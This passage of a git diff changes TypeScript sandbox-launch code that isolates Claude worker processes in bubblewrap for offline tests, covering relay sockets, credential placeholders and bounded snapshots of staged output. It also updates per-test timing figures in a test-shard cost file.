nativeSyntheticSystemNames)chmodSync(join(directory,name),0o444); + const mounts=nativeSyntheticSystemNames.flatMap(name=>["--ro-bind",join(directory,name),`/etc/${name}`]); + for(const name of nativeDistributionConfigNames){ + const source=`/etc/${name}`,target=join(directory,name);if(!existsSync(source))continue; + if(name==="ld.so.conf.d"){ + mkdirSync(target,{mode:0o755});chmodSync(target,0o755);for(const path of nativeDistributionConfigFiles(source)){const file=join(target,basename(path));writeFileSync(file,readFileSync(path),{mode:0o444});chmodSync(file,0o444);} + }else{if(!statSync(source).isFile()||!within("/etc",realpathSync(source)))throw Error("Distribution configuration file is not regular");writeFileSync(target,readFileSync(source),{mode:0o444});chmodSync(target,0o444);} + mounts.push("--ro-bind",target,source); + } + return mounts; +} /** One Unix socket forwards only to the explicitly selected scripted service. */ -export function startNativeTestRelay(upstream: string | undefined) { +export function startNativeTestRelay(upstream: string | undefined, workerUid?:number) { let target: URL; try { target = new URL(upstream!); } catch { return refuse("missing scripted loopback service"); } if (target.protocol !== "http:" || !["127.0.0.1", "localhost", "[::1]"].includes(target.hostname) || !target.port || target.username || target.password || @@ -549,9 +581,8 @@ export function startNativeTestRelay(upstream: string | undefined) { if (target.hostname === "localhost") target.hostname = "127.0.0.1"; const directory = mkdtempSync(join(tmpdir(), "odysseus-native-relay-")); const socket = join(directory, "relay.sock"); - const uid = process.getuid?.() ?? 0, gid = process.getgid?.() ?? 0; - writeFileSync(join(directory, "passwd"), `${uid === 0 ? "" : "root:x:0:0:Odysseus:/tmp/native-account:/bin/sh\n"}odysseus:x:${uid}:${gid}:Odysseus:/tmp/native-account:/bin/sh\n`); - writeFileSync(join(directory, "group"), `${gid === 0 ? "" : "root:x:0:\n"}odysseus:x:${gid}:\n`); + let configurationMounts:string[]; + try{configurationMounts=nativeSystemConfigMounts(directory,workerUid);}catch{rmSync(directory,{recursive:true,force:true});return refuse("native distribution configuration is unavailable",{sourceKind:"fixed-system",targetKind:"isolated-config",metadataError:"UNKNOWN"});} const handle = async (request: Request): Promise => { const url = new URL(request.url); // Concatenate onto the fixed authority; never resolve a request-controlled @@ -569,7 +600,7 @@ export function startNativeTestRelay(upstream: string | undefined) { body: request.body, redirect: "manual", signal: request.signal }); }; const server = Bun.serve({ unix: socket, fetch: handle }); - return { directory, handle, dispose() { server.stop(true); rmSync(directory, { recursive: true, force: true }); } }; + return { directory, handle, configurationMounts, dispose() { server.stop(true); rmSync(directory, { recursive: true, force: true }); } }; } export const WORKER_TURN_PROXY="/run/brain-egress/proxy.sock"; @@ -607,7 +638,7 @@ export function nativeAdmittedRelayBaseUrl(value:string|undefined,admitted:boole /** Preserve direct-query authentication; the trusted forwarder mints only transport. */ export function nativeDirectTransportEnvironment(env:Record,relayed:boolean):Record { - return relayed?{ANTHROPIC_BASE_URL:nativeAdmittedRelayBaseUrl(env.ANTHROPIC_BASE_URL,true),ANTHROPIC_UNIX_SOCKET:"/tmp/native-relay/relay.sock"}:{ANTHROPIC_BASE_URL:"http://127.0.0.1"}; + return relayed?{ANTHROPIC_BASE_URL:nativeAdmittedRelayBaseUrl(env.ANTHROPIC_BASE_URL,true),ANTHROPIC_UNIX_SOCKET:"/tmp/native-relay/relay.sock"}:{ANTHROPIC_BASE_URL:"http://127.0.0.1",...(env.ANTHROPIC_UNIX_SOCKET===""?{ANTHROPIC_UNIX_SOCKET:""}:{})}; } export function nativeDirectTransportCommand(command:readonly string[]):string[] { return ["/usr/bin/python3","-I","-S","-c",'import os,sys,urllib.parse\np=urllib.parse.urlsplit(os.environ["HTTP_PROXY"])\nassert p.scheme=="http" and p.hostname=="127.0.0.1" and p.port and not p.username and not p.password and not p.path and not p.query and not p.fragment\nos.environ["ANTHROPIC_BASE_URL"]=os.environ["HTTP_PROXY"]\nos.execvp(sys.argv[1],sys.argv[1:])',...command]; @@ -644,20 +675,20 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { ...(cwd === ROOT || within(ROOT, cwd) || within(home, cwd) ? [] : ["--bind", cwd, cwd]), ...tools.mounts, "--ro-bind", bridge.directory, "/tmp/native-relay", - "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", + ...bridge.configurationMounts, ...(inheritedSocket && inheritedOrigin ? ["--ro-bind", inheritedSocket, "/tmp/native-relay/relay.sock", "--ro-bind", inheritedSocket, inheritedSocket] : []), ...nativeFixtureFileMounts(bridge.directory), ...(turnProxy?["--dir","/run/brain-egress","--ro-bind",turnProxy.socket,WORKER_TURN_PROXY]:[]),]; const beforeLaunch = () => assertNativeMountSockets(mounts, route.origin); beforeLaunch(); const argv = [bwrapExecutable, "--unshare-all", "--die-with-parent", "--new-session", "--cap-drop", "ALL", ...mounts, "--clearenv"]; - const childEnv: Record = { HOME: home, CLAUDE_CONFIG_DIR: versionHome ?? env.CLAUDE_CONFIG_DIR ?? home, + const childEnv: Record = { ...Object.fromEntries(Object.entries(env).filter(([key,value])=>WORKER_RUNTIME_ENV.has(key)&&typeof value==="string")) as Record, HOME: home, CLAUDE_CONFIG_DIR: versionHome ?? env.CLAUDE_CONFIG_DIR ?? home, PATH: tools.path, LANG: "C.UTF-8", ...nativeDirectTransportEnvironment(env,Boolean(inheritedOrigin)), ...(!authStatus?{BRAIN_TEST_EFFECT_SOCKET:"/tmp/native-relay/relay.sock"}:{}), - CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1" }; + }; // These are public model selectors, never ambient provider credentials. - for (const key of ["ANTHROPIC_MODEL", "ANTHROPIC_DEFAULT_SONNET_MODEL", "ANTHROPIC_DEFAULT_OPUS_MODEL", "ANTHROPIC_DEFAULT_HAIKU_MODEL", "ANTHROPIC_SMALL_FAST_MODEL", "CLAUDE_CODE_SUBAGENT_MODEL", "CLAUDE_CODE_DISABLE_AUTO_MEMORY", "ENABLE_TOOL_SEARCH"]) { + for (const key of ["ANTHROPIC_MODEL", "ANTHROPIC_DEFAULT_SONNET_MODEL", "ANTHROPIC_DEFAULT_OPUS_MODEL", "ANTHROPIC_DEFAULT_HAIKU_MODEL", "ANTHROPIC_SMALL_FAST_MODEL", "CLAUDE_CODE_SUBAGENT_MODEL", "CLAUDE_CODE_DISABLE_AUTO_MEMORY", "CLAUDE_CODE_USE_BEDROCK", "CLAUDE_CODE_USE_VERTEX", "CLAUDE_CODE_USE_FOUNDRY", "ENABLE_TOOL_SEARCH", "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", "DISABLE_AUTOUPDATER", "DISABLE_PROMPT_CACHING"]) { if (env[key]) childEnv[key] = env[key]!; } Object.assign(childEnv, syntheticCredentials(env)); @@ -678,11 +709,11 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { } catch (error) { turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); throw error; } } -interface ScriptedAuthority { origin: string; fixtureRoots: readonly string[]; fixtureRootStamps: ReadonlyMap; fixtureFiles: ReadonlyMap; turnProxy?: boolean;revalidate?:()=>void } +interface ScriptedAuthority { fixtureCredentials:ReadonlyMap; origin: string; fixtureRoots: readonly string[]; fixtureRootStamps: ReadonlyMap; fixtureFiles: ReadonlyMap; turnProxy?: boolean;revalidate?:()=>void } const scriptedRoute = new AsyncLocalStorage(); /** Test code pins its scripted service before building a restricted turn. */ -export function nativeScriptedService(origin: string, fixture?: { fixtureRoots?: readonly string[]; fixtureFiles?: readonly string[]; turnProxy?: boolean }): () => void { +export function nativeScriptedService(origin: string, fixture?: { fixtureRoots?: readonly string[]; fixtureFiles?: readonly string[]; fixtureCredentials?:Readonly>; turnProxy?: boolean }): () => void { const previous = scriptedRoute.getStore(); scriptedRoute.enterWith(undefined); let target:URL;try{target=new URL(origin);}catch{refuse("invalid scripted route authority");} @@ -704,7 +735,12 @@ export function nativeScriptedService(origin: string, fixture?: { fixtureRoots?: if(!path.startsWith("/")||resolve(path)!==path||real!==path||!info.isFile()||info.nlink!==1||!declared||basename(path)===".credentials.json")refuse("fixture files require a canonical unlinked regular file under a declared root"); return [path,{bytes:new Uint8Array(readFileSync(path)),mode:(info.mode&0o111)?0o555:0o444}] as const; })) : prior?.fixtureFiles ?? new Map(); - authority = Object.freeze({ origin: target.origin, fixtureRoots, fixtureRootStamps, fixtureFiles,turnProxy:fixture?fixture.turnProxy===true:prior?.turnProxy }); + // Only an explicit fixture declaration preserves arbitrary credential bytes; + // ambient credentials still pass through the synthetic scrubber above. + const fixtureCredentials=fixture?.fixtureCredentials?new Map(Object.entries(fixture.fixtureCredentials).map(([key,value])=>{ + if(!["ANTHROPIC_API_KEY","ANTHROPIC_AUTH_TOKEN","CLAUDE_CODE_OAUTH_TOKEN"].includes(key)||typeof value!=="string"||!value||value.includes("\0"))refuse("invalid fixture credential declaration");return [key,value] as const; + })):fixture?.fixtureRoots===undefined?prior?.fixtureCredentials??new Map():new Map(); + authority = Object.freeze({ fixtureCredentials, origin: target.origin, fixtureRoots, fixtureRootStamps, fixtureFiles,turnProxy:fixture?fixture.turnProxy===true:prior?.turnProxy,revalidate:fixture?.fixtureRoots===undefined?prior?.revalidate:undefined }); } catch(error) { if(String(error).includes("Offline native Claude refused before launch:"))throw error;refuse("fixture registration is unavailable"); } scriptedRoute.enterWith(authority); return () => { if(scriptedRoute.getStore()===authority)scriptedRoute.enterWith(previous); }; @@ -733,7 +769,7 @@ export function nativeFixtureTurnDataTree(origin:string,brain:string,view:import if(closed||!prior||prior.origin!==new URL(origin).origin||view.brain!==brain||!prior.fixtureRoots.includes(brain)||realpathSync(brain)!==brain||!isManagedWorkerStartupView(view)||!isNativeWorkerStartupRoot(view.root)||dirname(parent)!==expected||!/^[0-9a-f]{8}(?:-[0-9a-f]{4}){3}-[0-9a-f]{12}$/.test(basename(parent))||declared.length!==2||declared[0]!==join(parent,"data")||declared[1]!==join(parent,"index"))throw Error("native fixture turn data declaration unavailable"); for(let i=0;i[path,stamps[i]!] as const)]),revalidate(){prior?.revalidate?.();validate();}}));const scoped=scriptedRoute.getStore(); return ()=>{closed=true;if(scriptedRoute.getStore()===scoped)scriptedRoute.enterWith(authority);leave();}; } @@ -829,7 +865,7 @@ export function assertNativeRelayUnix(path: string): void { } function relayCredentialPlaceholders(env: Record): Record { - return Object.fromEntries(["ANTHROPIC_API_KEY", "ANTHROPIC_AUTH_TOKEN", "CLAUDE_CODE_OAUTH_TOKEN"].map(key => + return Object.fromEntries(["ANTHROPIC_API_KEY", "ANTHROPIC_AUTH_TOKEN", "CLAUDE_CODE_OAUTH_TOKEN"].filter(key=>env[key]!==undefined).map(key => [key, env[key] === "brain-inference-relay-placeholder" ? env[key]! : ""])); } @@ -975,7 +1011,7 @@ interface KeeperInspection { mount: string; snapshot: string; refresh(): void } const guardedChildren = new Map(); const bootstrapDiagnostics=new Map(); export function nativeBootstrapStatus(pid:number){return bootstrapDiagnostics.get(pid);} -const fixtureKeepers = new Map(); +const fixtureKeepers = new Map(); interface NativeFixtureRtkSpawn { start:string; launch:import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch; expected:readonly string[]; liveExecs:()=>ReadonlyMap } const nativeFixtureRtkSpawns=new Map(); /** Host-only observation; a payload cannot mint an owned spawn or audit handle. */ @@ -1108,9 +1144,38 @@ export function registerNativeFixtureKeeper(storage: FixtureKeeper): () => void try { return registerFixtureKeeper(storage); } catch(error) { if(String(error).includes("Offline native Claude refused before launch:"))throw error;return refuse("fixture keeper provenance is unavailable"); } } +/** Copy only bounded manager-reader bytes, never directly open the worker-private tree. */ +export async function captureNativeFixtureStage(manager:Pick,"listStage"|"statStage"|"readStage">,id:string,uid:number,maximum:number,snapshot:string):Promise { + let count=0,total=0; + if(!Number.isSafeInteger(maximum)||maximum<=0)throw Error("Invalid stage inspection bound"); + const walk=async(relative:string,depth:number):Promise=>{ + if(depth>256)throw Error("Stage inspection depth exceeded"); + const rows=await manager.listStage(id,relative,uid),names=new Set(); + for(const row of rows){ + if(++count>200000)throw Error("Stage inspection entry bound exceeded"); + const name=row.path.slice(relative?relative.length+1:0); + if(!name||name==="."||name===".."||name.includes("/")||name.includes("\0")||names.has(name)||row.path!==(relative?relative+"/":"")+name)throw Error("Invalid stage inspection name");names.add(name); + const before=await manager.statStage(id,row.path,uid); + if(!before||before.stamp!==row.stamp||before.kind!==row.kind)throw Error("Stage inspection changed"); + const target=join(snapshot,row.path); + if(row.kind==="directory"){mkdirSync(target,{mode:0o700});await walk(row.path,depth+1);chmodSync(target,row.mode);} + else if(row.kind==="symlink"){if(typeof row.target!=="string")throw Error("Invalid stage symlink");symlinkSync(row.target,target);} + else if(row.kind==="file"){ + if(!Number.isSafeInteger(row.bytes)||row.bytes<0||total+row.bytes>maximum)throw Error("Stage inspection byte bound exceeded"); + const copy=await manager.readStage(id,row.path,Math.max(1,row.bytes),uid),reader=copy.stream.getReader(),pieces:Uint8Array[]=[];let bytes=0; + try{for(;;){const part=await reader.read();if(part.done)break;bytes+=part.value.byteLength;if(bytes>row.bytes)throw Error("Stage inspection file grew");pieces.push(part.value);} + const receipt=await copy.completed;if(bytes!==row.bytes||receipt.bytes!==bytes||receipt.workerUid!==uid||copy.workerUid!==uid)throw Error("Stage inspection reader receipt changed"); + writeFileSync(target,Buffer.concat(pieces,bytes),{mode:row.mode,flag:"wx"});total+=bytes; + }finally{await reader.cancel();await copy.completed.catch(()=>{});} + }else throw Error("Unsupported stage inspection node"); + const after=await manager.statStage(id,row.path,uid);if(!after||after.stamp!==row.stamp)throw Error("Stage inspection changed"); + } + }; + await walk("",0); +} const usedManagedKeepers=new WeakSet(); /** Only a fixture's real acquired native output can declare this remote keeper. */ -export function registerNativeFixtureManagedKeeper(storage:import("../packages/ui-sdk/src/server/worker-native-output").WorkerOutputStorage,view:import("../packages/ui-sdk/src/server/worker-startup-view").WorkerStartupView):()=>void { +export async function registerNativeFixtureManagedKeeper(storage:import("../packages/ui-sdk/src/server/worker-native-output").WorkerOutputStorage,view:import("../packages/ui-sdk/src/server/worker-startup-view").WorkerStartupView):Promise<()=>void> { const scope=scriptedRoute.getStore(),brain=view.brain,expected=join(dirname(brain),".brain-native","stages");let closed=false; if(typeof storage.namespaceStart!=="string"||!storage.namespaceStart)refuse("managed fixture keeper provenance is unavailable"); if(usedManagedKeepers.has(storage))refuse("managed fixture keeper registration was already used"); @@ -1125,10 +1190,31 @@ export function registerNativeFixtureManagedKeeper(storage:import("../packages/u return root.isDirectory()&&root.dev===rootIdentity.dev&&root.ino===rootIdentity.ino&&root.dev===mounted.dev&&root.ino===mounted.ino&&Number(statfsSync(storage.root).type)===0x01021994; }catch{return false;} }; - let unregister:()=>void;try{unregister=registerFixtureKeeper(storage as FixtureKeeper,validate);}catch(error){if(String(error).includes("Offline native Claude refused before launch:"))throw error;refuse("managed fixture keeper provenance is unavailable",{sourceKind:"product-keeper",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"});} - usedManagedKeepers.add(storage);return ()=>{closed=true;unregister();}; -} -function registerFixtureKeeper(storage: FixtureKeeper, managed?:()=>boolean): () => void { + if(!validate())refuse("managed fixture keeper provenance is unavailable"); + const {nativeWorkerStartupInput}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-startup-view.ts"); + const {verifiedWorkerIdentity}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-launcher.ts"); + const native=nativeWorkerStartupInput(view),id=basename(storage.mount),uid=verifiedWorkerIdentity(brain)?.workerUid; + if(uid===undefined)refuse("managed fixture keeper private reader is unavailable"); + let ticket:{fd:number;close():void},snapshot:string; + try{ticket=await native.manager.attestStage(id);}catch{return refuse("managed fixture keeper snapshot is unavailable");} + try{snapshot=nativeFixtureDirectory("odysseus-managed-inspection-");}catch{ticket.close();return refuse("managed fixture keeper snapshot is unavailable");} + let ticketBytes:Buffer,stamp:ReturnType; + const attested=()=>{try{ + if(!validate())return false; + const now=fstatSync(ticket.fd);if(now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size||!readFileSync(`/proc/self/fd/${ticket.fd}`).equals(ticketBytes))return false; + const value=JSON.parse(ticketBytes.toString("utf8")),merged=statSync(join(storage.root,"merged"),{bigint:true}),checkpoint=statSync(view.root,{bigint:true}),ns=statSync(`/proc/${storage.namespacePid}/ns/mnt`,{bigint:true}); + return value.kind==="brain-worker-stage"&&value.id===id&&value.appUid===process.getuid?.()&&value.keeper.pid===storage.namespacePid&&value.keeper.start===storage.namespaceStart&&value.keeper.mountNamespaceInode===String(ns.ino)&&value.root.path===join(storage.mount,"merged")&&value.root.dev===String(merged.dev)&&value.root.ino===String(merged.ino)&&value.checkpoint.path===view.root&&value.checkpoint.dev===String(checkpoint.dev)&&value.checkpoint.ino===String(checkpoint.ino)&&value.checkpoint.uuid===native.checkpoint.uuid&&value.allowanceBytes===storage.allowanceBytes; + }catch{return false;}}; + try{ + stamp=fstatSync(ticket.fd);if(!stamp.isFile()||stamp.uid!==0||stamp.nlink!==0||stamp.size>65536||(stamp.mode&0o777)!==0o444)throw Error("Invalid sealed stage authority"); + ticketBytes=readFileSync(`/proc/self/fd/${ticket.fd}`);if(!attested())throw Error("Stage authority differs"); + await captureNativeFixtureStage(native.manager,id,uid,storage.allowanceBytes!,snapshot); + if(!attested())throw Error("Stage authority expired during inspection"); + }catch{ticket.close();rmSync(snapshot,{recursive:true,force:true});return refuse("managed fixture keeper snapshot is unavailable");} + let unregister:()=>void;try{unregister=registerFixtureKeeper(storage as FixtureKeeper,attested,snapshot);}catch(error){ticket.close();rmSync(snapshot,{recursive:true,force:true});if(String(error).includes("Offline native Claude refused before launch:"))throw error;refuse("managed fixture keeper provenance is unavailable",{sourceKind:"product-keeper",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"});} + usedManagedKeepers.add(storage);return ()=>{closed=true;try{unregister();}finally{ticket.close();rmSync(snapshot,{recursive:true,force:true});}}; +} +function registerFixtureKeeper(storage: FixtureKeeper, managed?:()=>boolean, managedSnapshot?:string): () => void { const start = processStart(storage.namespacePid); let pid = storage.namespacePid, observed = false; for (let depth = 0; pid > 1 && depth < 64; depth++) { @@ -1147,13 +1233,15 @@ function registerFixtureKeeper(storage: FixtureKeeper, managed?:()=>boolean): () const info = fstatSync(fd, {bigint:true}); const namespaceRoot = `/proc/${storage.namespacePid}/root${mount}`; const mounted = statSync(namespaceRoot, {bigint:true}); - if (mounted.dev !== info.dev || mounted.ino !== info.ino || !info.isDirectory() || info.uid !== BigInt(process.getuid?.() ?? -1)) { closeSync(fd); refuse("fixture keeper output is not private tmpfs"); } - const snapshot = nativeFixtureDirectory("odysseus-keeper-inspection-"); + if (mounted.dev !== info.dev || mounted.ino !== info.ino || !info.isDirectory() || (!managed && info.uid !== BigInt(process.getuid?.() ?? -1))) { closeSync(fd); refuse("fixture keeper output is not private tmpfs"); } + const snapshot = managedSnapshot ?? nativeFixtureDirectory("odysseus-keeper-inspection-"); const anchor = `/proc/${process.pid}/fd/${fd}`; let disposed=false; const live = () => { try { const now=statSync(ns,{bigint:true}); return !disposed && processStart(storage.namespacePid)===start && now.dev===namespace.dev && now.ino===namespace.ino && statSync(namespaceRoot,{bigint:true}).dev===info.dev && statSync(namespaceRoot,{bigint:true}).ino===info.ino && authority(); } catch { return false; } }; - const entry = { mount, snapshot, live, refresh() { + let claimed=false; + const entry = { mount, snapshot, live, claim(){if(managed&&claimed)refuse("managed fixture keeper snapshot was already used");claimed=true;}, refresh() { if (!live()) refuse("fixture keeper namespace is no longer live",managed?{sourceKind:"product-keeper",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"}:undefined); + if(managed){if(!managedSnapshot)refuse("managed fixture keeper snapshot is unavailable");return;} for (const name of readdirSync(snapshot)) rmSync(join(snapshot,name),{recursive:true,force:true}); for (const name of readdirSync(anchor)) cpSync(join(anchor,name),join(snapshot,name),{recursive:true,dereference:false}); }, dispose() { if(disposed)return;disposed=true;if(fixtureKeepers.get(storage.namespacePid)===entry)fixtureKeepers.delete(storage.namespacePid);closeSync(fd);rmSync(snapshot,{recursive:true,force:true}); } }; @@ -1168,7 +1256,7 @@ function workerKeeper(argv: readonly string[], bwrap: number): KeeperInspection if(separator<0||separator>bwrap||!argv.slice(at+1,separator).includes("--mount"))return; const target=argv.indexOf("--target",at);if(target<0||target>separator)return; const entry=fixtureKeepers.get(Number(argv[target+1]));if(!entry)return; - if(!entry.live())refuse("fixture keeper namespace is no longer live");entry.refresh();return entry; + if(!entry.live())refuse("fixture keeper namespace is no longer live");entry.claim();entry.refresh();return entry; } function inspectedWorkerSource(input: string, keeper?: KeeperInspection): string { const path=resolve(input); @@ -1458,7 +1546,8 @@ export function nativeWorkerBoundary(env: Record): { try{route.revalidate?.();}catch{refuse("native fixture turn data declaration unavailable");} qualify(); workerArgv[bwrap] = bwrapExecutable; - const bridge = startNativeTestRelay(route.origin); + const workerUid=supervisor&&launch.brainPath?(createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-launcher.ts") as typeof import("../packages/ui-sdk/src/server/worker-launcher")).verifiedWorkerIdentity(launch.brainPath)?.workerUid:undefined; + const bridge = startNativeTestRelay(route.origin,workerUid); const directTunnel=!ownedOrigin?startNativeTurnProxyTunnel(route.origin,bridge.directory):undefined; const disposeBridge=()=>{directTunnel?.dispose();bridge.dispose();}; try { @@ -1467,13 +1556,13 @@ export function nativeWorkerBoundary(env: Record): { for (let i = bwrap + 1; i < workerArgv.indexOf("--", bwrap); i++) { if (workerArgv[i] === "--ro-bind" && workerArgv[i + 1] === "/" && workerArgv[i + 2] === "/") workerArgv.splice(i--, 3); else if (workerArgv[i] === "--ro-bind" && ["/etc/alternatives", "/etc/ssl/certs"].includes(workerArgv[i + 2]!)) workerArgv.splice(i--, 3); + else if (workerArgv[i] === "--ro-bind" && [...nativeDistributionConfigNames,...nativeSyntheticSystemNames].some(name=>workerArgv[i+2]===`/etc/${name}`&&existsSync(`/etc/${name}`)&&workerArgv[i+1]===realpathSync(`/etc/${name}`))) workerArgv.splice(i--,3); else if (workerArgv[i] === "--setenv" && !WORKER_RUNTIME_ENV.has(workerArgv[i + 1]!)) workerArgv.splice(i--, 3); } workerArgv.splice(bwrap + 1, 0, "--clearenv", "--unshare-net", "--unshare-pid"); const pinned = { BRAIN_TEST_EFFECT_SOCKET:ownedOrigin?socket!:"/tmp/native-relay/relay.sock", ...nativeDirectTransportEnvironment(launch.env??{},Boolean(ownedOrigin)),...(ownedOrigin?{ANTHROPIC_UNIX_SOCKET:socket!}:{}), - PATH: tools.path, CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1", + PATH: tools.path, ...(["0", "1"].includes(launch.env?.USE_BUILTIN_RIPGREP ?? "") ? { USE_BUILTIN_RIPGREP: launch.env!.USE_BUILTIN_RIPGREP! } : {}), - ANTHROPIC_API_KEY: "", ANTHROPIC_AUTH_TOKEN: "", CLAUDE_CODE_OAUTH_TOKEN: "", ...(ownedOrigin ? relayCredentialPlaceholders(launch.env ?? {}) : syntheticCredentials(launch.env ?? {})) }; const readOnlyRemounts=deferNativeReadOnlyRemounts(workerArgv,bwrap); const separator = workerArgv.indexOf("--", bwrap); @@ -1482,7 +1571,7 @@ export function nativeWorkerBoundary(env: Record): { workerArgv.splice(separator, 0, ...systemMounts(), ...testRuntimeMounts(), ...tools.mounts, "--ro-bind", process.execPath, process.execPath, "--ro-bind", compileSocketPolicy(), compileSocketPolicy(), "--ro-bind", bridge.directory, "/tmp/native-relay", - "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group",...nativeFixtureFileMounts(bridge.directory), + ...bridge.configurationMounts,...nativeFixtureFileMounts(bridge.directory), ...(directTunnel?["--dir","/run/brain-egress","--ro-bind",directTunnel.socket,WORKER_TURN_PROXY]:[]), ...Object.entries(pinned).flatMap(([key, value]) => ["--setenv", key, value])); const checkpoint=nativeCheckpointRole(launch,route);assertCheckpointBind(workerArgv,checkpoint); diff --git a/scripts/test-shard-costs.json b/scripts/test-shard-costs.json index 0488c4dfcc..32c50e4e27 100644 --- a/scripts/test-shard-costs.json +++ b/scripts/test-shard-costs.json @@ -40,11 +40,11 @@ "packages/core/tests/chunk-fts.test.ts": 4.213, "packages/core/tests/chunker-version-readonly.test.ts": 0.686, "packages/core/tests/chunker.test.ts": 3.255, - "packages/core/tests/claude-runner-binary.test.ts": 0.576, + "packages/core/tests/claude-runner-binary.test.ts": 2.405, "packages/core/tests/claude-runner-default-native.test.ts": 1.111, "packages/core/tests/claude-runner-protocol.test.ts": 0.175, "packages/core/tests/claude-runner-rejected-token.test.ts": 2.16, - "packages/core/tests/claude-runner-subscription.test.ts": 4.09, + "packages/core/tests/claude-runner-subscription.test.ts": 31.918, "packages/core/tests/cli-args.test.ts": 0.1, "packages/core/tests/cli-contract.test.ts": 23.371, "packages/core/tests/cli-gemini-content-exclude.test.ts": 2.196, @@ -329,7 +329,7 @@ "packages/ui-backend-claude/tests/activity-tool.test.ts": 0.218, "packages/ui-backend-claude/tests/allowlist-enforcement.test.ts": 0.406, "packages/ui-backend-claude/tests/api-failure.test.ts": 1.338, - "packages/ui-backend-claude/tests/ask-tool-request-id.test.ts": 0.453, + "packages/ui-backend-claude/tests/ask-tool-request-id.test.ts": 2.504, "packages/ui-backend-claude/tests/autonomous-envelope.test.ts": 0.299, "packages/ui-backend-claude/tests/autonomous-prompt.test.ts": 2.384, "packages/ui-backend-claude/tests/autonomous-yield.test.ts": 0.307, @@ -352,7 +352,7 @@ "packages/ui-backend-claude/tests/env.test.ts": 0.1, "packages/ui-backend-claude/tests/failed-launch-cleanup.test.ts": 0.1, "packages/ui-backend-claude/tests/fixtures/host-storage-isolation.test.ts": 0.1, - "packages/ui-backend-claude/tests/follow-up-delivery.test.ts": 2.291, + "packages/ui-backend-claude/tests/follow-up-delivery.test.ts": 10.282, "packages/ui-backend-claude/tests/follow-up.test.ts": 0.139, "packages/ui-backend-claude/tests/github-write-availability.test.ts": 0.1, "packages/ui-backend-claude/tests/history-api-failure.test.ts": 0.1, @@ -360,7 +360,7 @@ "packages/ui-backend-claude/tests/history.test.ts": 0.1, "packages/ui-backend-claude/tests/host-exec.test.ts": 0.14, "packages/ui-backend-claude/tests/host-oauth.test.ts": 3.082, - "packages/ui-backend-claude/tests/host-relay-native.test.ts": 4.097, + "packages/ui-backend-claude/tests/host-relay-native.test.ts": 4.348, "packages/ui-backend-claude/tests/host-storage-isolation.test.ts": 0.422, "packages/ui-backend-claude/tests/interactive-git-prompt.test.ts": 4.379, "packages/ui-backend-claude/tests/interactive-git-settings.test.ts": 0.1, @@ -373,14 +373,14 @@ "packages/ui-backend-claude/tests/module.test.ts": 0.1, "packages/ui-backend-claude/tests/native-history-removal.test.ts": 0.109, "packages/ui-backend-claude/tests/native-hosted-permission.test.ts": 0.1, - "packages/ui-backend-claude/tests/native-hosted-runtime.test.ts": 8.696, + "packages/ui-backend-claude/tests/native-hosted-runtime.test.ts": 39.594, "packages/ui-backend-claude/tests/native-observation-retention.test.ts": 0.1, "packages/ui-backend-claude/tests/native-observation-settlement.test.ts": 0.484, - "packages/ui-backend-claude/tests/native-restart-versions.test.ts": 5.363, - "packages/ui-backend-claude/tests/native-route-qualification.test.ts": 21.203, - "packages/ui-backend-claude/tests/native-stale-write.test.ts": 3.075, + "packages/ui-backend-claude/tests/native-restart-versions.test.ts": 20.399, + "packages/ui-backend-claude/tests/native-route-qualification.test.ts": 41.715, + "packages/ui-backend-claude/tests/native-stale-write.test.ts": 20.736, "packages/ui-backend-claude/tests/no-grant-surface.test.ts": 0.22, - "packages/ui-backend-claude/tests/ordinary-host-relay.test.ts": 9.859, + "packages/ui-backend-claude/tests/ordinary-host-relay.test.ts": 22.525, "packages/ui-backend-claude/tests/output-staging-refusal.test.ts": 0.348, "packages/ui-backend-claude/tests/outward-actions.test.ts": 0.385, "packages/ui-backend-claude/tests/permission-wiring-units.test.ts": 0.1, @@ -390,23 +390,23 @@ "packages/ui-backend-claude/tests/provider-history-apify.test.ts": 3.167, "packages/ui-backend-claude/tests/provider-history.test.ts": 26.456, "packages/ui-backend-claude/tests/read-attachment.test.ts": 2.987, - "packages/ui-backend-claude/tests/relayed-runtime-traffic.test.ts": 2.667, + "packages/ui-backend-claude/tests/relayed-runtime-traffic.test.ts": 4.797, "packages/ui-backend-claude/tests/replayed-user-text.test.ts": 0.1, "packages/ui-backend-claude/tests/rtk-warning.test.ts": 0.1, "packages/ui-backend-claude/tests/runtime-probe.test.ts": 0.303, "packages/ui-backend-claude/tests/runtime-report.test.ts": 0.1, - "packages/ui-backend-claude/tests/sdk-host-relay.test.ts": 13.468, + "packages/ui-backend-claude/tests/sdk-host-relay.test.ts": 40.356, "packages/ui-backend-claude/tests/sdk-options-mcp.test.ts": 0.226, "packages/ui-backend-claude/tests/sdk-options-snapshot.test.ts": 0.116, "packages/ui-backend-claude/tests/sdk-options-units.test.ts": 0.1, "packages/ui-backend-claude/tests/session-prompt.test.ts": 9.675, - "packages/ui-backend-claude/tests/shell-startup.test.ts": 10.818, + "packages/ui-backend-claude/tests/shell-startup.test.ts": 35.2, "packages/ui-backend-claude/tests/stable-roster-runtime.test.ts": 8.105, "packages/ui-backend-claude/tests/stable-roster.test.ts": 0.207, "packages/ui-backend-claude/tests/state-room-sdk-hook.test.ts": 0.561, "packages/ui-backend-claude/tests/state-room-warning.test.ts": 0.463, "packages/ui-backend-claude/tests/stream-adapter.test.ts": 0.1, - "packages/ui-backend-claude/tests/subscription-billing.test.ts": 6.741, + "packages/ui-backend-claude/tests/subscription-billing.test.ts": 35.786, 